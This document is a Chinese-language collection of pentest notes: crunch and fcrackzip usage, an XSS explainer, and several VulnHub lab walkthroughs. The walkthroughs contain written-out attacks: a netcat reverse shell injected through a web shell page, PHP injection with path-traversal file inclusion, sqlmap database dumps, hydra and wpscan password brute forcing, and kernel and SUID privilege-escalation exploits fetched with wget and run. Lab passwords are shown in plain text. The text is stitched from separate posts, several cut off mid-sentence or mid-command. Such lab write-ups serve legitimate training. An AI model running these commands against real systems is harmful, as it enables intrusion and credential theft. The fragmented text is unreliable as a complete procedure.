1. crunch <min-len> <max-len> [<charset string>] [options]
  2. -t 指定密码输出的格式
  3. -o 将密码保存到指定文件
  4. 特殊字符,通常与-t配合使用
  5. % 代表数字
  6. ^ 代表特殊符号
  7. @ 代表小写字符
  8. , 代表大写字符
  1. fcrackzip [options] -u -D -p <password_list> <zipfile>
  2. [options] 是可选参数,用于指定暴力破解的方式和设置。
  3. -u 表示使用暴力破解模式。
  4. -D 表示使用字典模式。
  5. -p <password_list> 指定密码列表文件的路径或者直接指定密码模式。

什么是XSS:

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,它允许恶意用户将客户端脚本注入到网页中,使其在用户浏览器中执行。XSS 攻击通常通过将恶意脚本代码插入到网页中的输入数据中来实现,例如用户提交的表单数据、URL 参数或网页中的动态内容。

XSS 攻击通常分为以下三种类型:

  1. 存储型 XSS(Stored XSS):也称为持久型 XSS,是最危险的一种类型。攻击者将恶意脚本上传到目标网站的服务器,例如存储在数据库中的用户评论、留言板或论坛帖子中。当其他用户访问包含恶意脚本的页面时,这些脚本会从服务器端加载并在用户浏览器中执行,导致攻击发生。
  2. 反射型 XSS(Reflected XSS):也称为非持久型 XSS,攻击者将恶意脚本作为参数包含在 URL 中,发送给目标用户。当用户点击包含恶意脚本的链接时,参数会被发送到服务器,服务器将恶意脚本反射回给用户,最终在用户浏览器中执行。
  3. DOM 型 XSS(DOM-based XSS):这种类型的 XSS 不涉及服务器的参与。攻击者利用客户端的漏洞,修改页面的 DOM(文档对象模型),从而执行恶意脚本。例如,通过修改 URL 中的参数或直接修改页面的 JavaScript 代码来触发 XSS 攻击。

XSS 攻击的危害包括但不限于:

  • 窃取用户的敏感信息,如 cookies、会话令牌等。
  • 劫持用户的会话,执行恶意操作,例如在用户不知情的情况下发起恶意请求。
  • 修改网页内容,包括但不限于篡改页面、重定向用户到恶意网站等。

防御 XSS 攻击的方法包括:

  • 输入验证和过滤:对所有用户输入的数据进行严格的验证和过滤,移除或转义可能包含恶意代码的特殊字符。
  • 输出转义:在将用户输入或其他动态内容输出到网页时,使用适当的转义函数(如 htmlspecialchars())对特殊字符进行转义,防止其被解释为 HTML 或 JavaScript 代码。
  • 内容安全策略(Content Security Policy,CSP):通过 CSP 配置,限制网页中可以执行的脚本来源和内容,减少 XSS 攻击的可能性。
  • 使用安全框架和库:使用安全性较高的开

先扫描下端口

  1. arp-scan -l

image-20240328132804991

  1. nmap -sV -sC -A -p- 192.168.2.204

image-20240328132933140

扫描下目录

  1. dirb http://192.168.2.204

image-20240328132959073

访问下搜到的dbadmin

用弱口令admin登录,发现是一个SQLite数据库管理工具

搜索一下phpLiteAdmin v1.9.3是否存在可以利用的漏洞

image-20240328133304221

选择了24404.txt

  1. 1. We create a db named "hack.php".
  2. (Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
  3. The script will store the sqlite database in the same directory as phpliteadmin.php.
  4. Preview: http://goo.gl/B5n9O
  5. Hex preview: http://goo.gl/lJ5iQ
  6. 2. Now create a new table in this database and insert a text field with the default value:
  7. <?php phpinfo()?>
  8. Hex preview: http://goo.gl/v7USQ
  9. 3. Now we run hack.php

根据给的提示信息,先创建一个数据库.

存在文件包含漏洞

  1. http://192.168.2.204/view.php?page=../../../../etc/passwd
  2. http://192.168.2.204/view.php?page=../../../usr/databases/hack.php

image-20240328133045204

使用蚁剑连接

进入zico家目录后,发现了wordpress目录,进去发现有一个wp-conf

首先,扫描一下。

image-20240328100907741

目录扫描下,发现有个robots.txt,然后发现还有个dev_shell.php页面

image-20240328101040061

  1. nc -lnvp 1234//kali开启监听
  1. 网页执行该命令
  2. ip a&nc -e /bin/sh 192.168.2.138 1234
  1. python -c 'import pty; pty.spawn("/bin/bash")'
  2. cd /home/bob
  3. cat .old_passwordfile.html
  4. <html>
  5. <p>
  6. jc:Qwerty
  7. seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
  8. </p>
  9. </html>
  10. su - jc
  11. Qwerty//成功登陆

image-20240328080953574

  1. cd /home/bob/Documents
  2. ls -al
  3. file login.txt.gpg

image-20240328081211153

发现这边有个gpg加密文件

  1. gpg --output login.txt --decrypt /home/bob/Documents/login.txt.gpg

继续搜查,发现一个脚本文件,内容是输出一些语句,每行的首字母都是大写,将每一行的大写字母都提取出来 HARPOCRATES,这会不会就是刚刚加密文件的密码?

14

16

  1. bob:b0bcat_
  2. //解密得到的用户名和密码

然后ssh登陆上,发现他有sudo的权限,直接获得flag

image.png

靶机地址:http://www.vulnhub.com/entry/gigachad-1,657/

首先,解决虚拟机无法分配ip

在启动界面按e

将此处的ro quiet替换为rw signie init=/bin/bash

image-20240325133909393

  1. cat /etc/network/interfaces
  2. nano /etc/network/interfaces
  3. /etc/init.d/networking restart

然后修改下网卡配置文件,将enp0s3改为ens33

image-20240325134418267

  1. nmap -sV -sC -A -p- 192.168.2.161

使用kali进行扫描

image-20240325134503500

根据nmap的信息,存在ftp匿名登陆

  1. ftp 192.168.2.161//存在匿名登陆,账户:ftp
  2. ftp> ls//随后发现有个文件,将它get下来
  3. ftp> get chadinfo

image-20240325134656116

  1. cat chadinfo
  2. file chadinfo
  3. unzip chadinfo
  4. cat chadinfo

image-20240325134712025

image-20240325134816592

这边有点没看懂为啥,搜了下别人的解析

image-20240325134834385

  1. ssh chad@192.168.2.161
  2. cat user.txt//成功得到第一个flag

image-20240325134911966

  1. find / -perm -u=s -type f 2>/dev/null //命令将尝试查找具有root权限的SUID的文件
  2. chad@gigachad:/tmp$ s-nail -V
  3. v14.8.6

image-20240325134947988

  1. searchsploit s-nail
  2. cd /tmp
  3. searchsploit -m 47172
  4. scp /tmp/47172.sh chad@192.168.2.161:/tmp

版本号也符合要求

  1. chmod 777
  2. ./47172.sh//多执行几次就成功了
  3. id
  4. cd /root
  5. cat root.txt//得到第二个flag

image-20240325135118639

一、开始渗透

1.1 获取一下靶机ip

  1. nmap -sn 192.168.2.1/24

title

1.2 扫描靶机端口和服务

  1. nmap -sV -sC -A -p- 192.168.2.196

title
目标计算机开放80端口、7744端口

1.3 漏洞利用

1.3.1 先去访问一下80端口的网页,看看有些什么

如果访问不了,可以去host文件那里修改一下本地解析

  1. vim /etc/hosts

title
打开网页就能直接看到flag1
它提示我要用下cewl工具

1.3.2 flag2

  1. cewl http://dc-2 -w passwd.txt

继续搜集点信息

  1. whatweb http://dc-2
  2. dirb http://dc-2

title
title
很明显有个wp-admin的登陆网页
title
了解到有一个专门针对wordpress的工具wpscan
得到了三个用户admin、jerry、tom

  1. wpscan --url http://dc-2 --enumerate u //枚举用户
  2. wpscan --url http://dc-2 --passwords passwd.txt

title
先前cewl有生成字典,使用wpscan进行暴力破解
title
jerry和tom的密码成功爆了出来,对wp-admin进行下登陆
jerry / adipiscing
tom / parturient
用jerry登陆进去后直接就找到了flag2
title

1.3.3 flag3

还有个7744端口的ssh可以利用,尝试下这两个用户能否登陆进去
jerry没有成功,但tom可以

  1. tom@DC-2:~$ ls
  2. flag3.txt usr
  3. tom@DC-2:~$ cat flag3.txt
  4. -rbash: cat: command not found

不能用cat打开

  1. compgen -c //列出当前可执行命令 有个less
  2. less flag3.txt

title

1.3.4 flag4

发现ls能列出home目录,然后还能直接用less查看flag4.txt

  1. tom@DC-2:~$ ls /home

一、开始渗透

1.1 获取一下靶机ip

  1. nmap -sn 192.168.2.1/24

title

1.2 扫描靶机端口和服务

  1. nmap -sV -sC -A -p- 192.168.2.196

title
目标计算机开放22端口、80端口、111端口、34023端口

1.3 漏洞利用

1.3.1 先去访问一下80端口的网页,看看有些什么

title
顺便用whatweb扫描下

  1. whatweb -v http://192.168.2.196

title

1.3.2 使用msfconsole工具

  1. search drupal
  2. use 2
  3. set rhosts 192.168.2.196
  4. exploit
  5. shell
  6. python -c 'import pty; pty.spawn("/bin/bash")' //实现简单tty

//上次步骤做了一部分,没做完,接来下我再mac电脑上远程kali接着做
title
title
成功得到了flag1

  1. 提示说Drupal有个配置文件,我们搜索下
  2. www-data@DC-1:/var/www$ find . -name "set*"
  3. find . -name "set*"
  4. ./sites/default/settings.php //成功找到

得到了flag2以及mysql账户密码
title

1.3.3 数据库

  1. mysql -udbuser -pR0ck3t
  2. use drupaldb;select * from users\G

title
用脚本得到加密后的密码
title
修改下admin和Fred的密码,然后登陆网页就能发现flag3

  1. www-data@DC-1:/var/www$ /var/www/scripts/password-hash.sh 666
  2. /var/www/scripts/password-hash.sh 666
  3. password: 666 hash: $S$DOekGKJKkcoC0BbfqdNyekSMUlD9KlwCqRgw6SPRBYAXM2i6N3j9
  4. www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
  5. mysql -udbus

一、开始渗透

1.1 获取一下靶机ip

  1. nmap -sn 192.168.2.1/24

title

1.2 扫描靶机端口和服务

  1. nmap -sV -sC -A -p- 192.168.2.115

title
发现有个80的http服务和7120的ssh服务

1.3 漏洞利用

1.3.1先去访问一下80端口的网页,看看有些什么

发现就一个马铃薯
title
使用dirb扫描一下

  1. dirb http://192.168.2.115

title
title
得到了系统版本号
回想起还有个ssh服务开着
使用hydra爆破下

  1. hydra -l potato -P rockyou.txt -V ssh://192.168.2.115:7120 //这边之前看了眼别人的所以知道用户名是potato,建议还是把用户名也爆破下,当然这取决于你的字典是否强大
  2. hydra -L user.txt -P top1000.txt -vV ssh://192.168.11.131:7120 -f

title

使用获取到的用户名密码登陆一下

  1. ssh potato@192.168.2.115 -p7120

title

1.3.2 内核提权

  1. searchsploit ubuntu 3.13
  2. searchsploit -m 37292 //这边直接选择了第一个
  3. python3 -m http.server 80 //把当前目录开启个http服务

title
回到刚才的potato

  1. cd /tmp
  2. wget http://192.168.2.115/37292.c
  3. gcc -o exp 37292.c
  4. ./exp
  5. id
  6. cat /root/proof.txt

title
随便找个md5网站解密下
title

一、开始渗透

1.1 获取一下kali的IP网卡信息和靶机ip

  1. ifconfig
  2. arp-scan-l

title

1.2 扫描靶机端口和服务

  • 扫描开放端口

    nmap -p- 192.168.111.130

    title

  • 确定端口服务和漏洞

    nmap -sV -sC 192.168.111.130
    title

1.3 漏洞利用

1.3.1 先去访问一下80端口的网页,看看有些什么
title
提示需要获取root权限和root目录下的key.txt,然后还发现有几个链接可以点击,点一下
title
下面两个链接都试一下手动注入,发现第二个存在sql漏洞。
title
1.3.2 使用sqlmap工具

  1. sqlmap -u "http://192.168.111.130/Hackademic_RTB1/?cat=1" --current-db --batch
  2. sqlmap -u "http://192.168.111.130/Hackademic_RTB1/?cat=1" -D wordpress --tables --batch
  3. sqlmap -u "http://192.168.111.130/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --columns --batch
  4. sqlmap -u "http://192.168.111.130/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users -C user_login,user_pass --dump --batch

title
title
title
title
1.3.3 使用目录扫描

  1. dirsearch -u "http://192.168.111.130/Hackademic_RTB1/"

发现有个wp-admin的子目录
title
1.3.4 寻找上传点
发现GeorgeMiller用户有配置选项,开启文件上传,启用后可以看到右边多了个"upload"
title
1.3.5 使用kali自带的php反弹shell
修改为kali的ip
title
上传文件后,开启监听,访问webshell
title
发现权限不够,想办法提权
1.3.6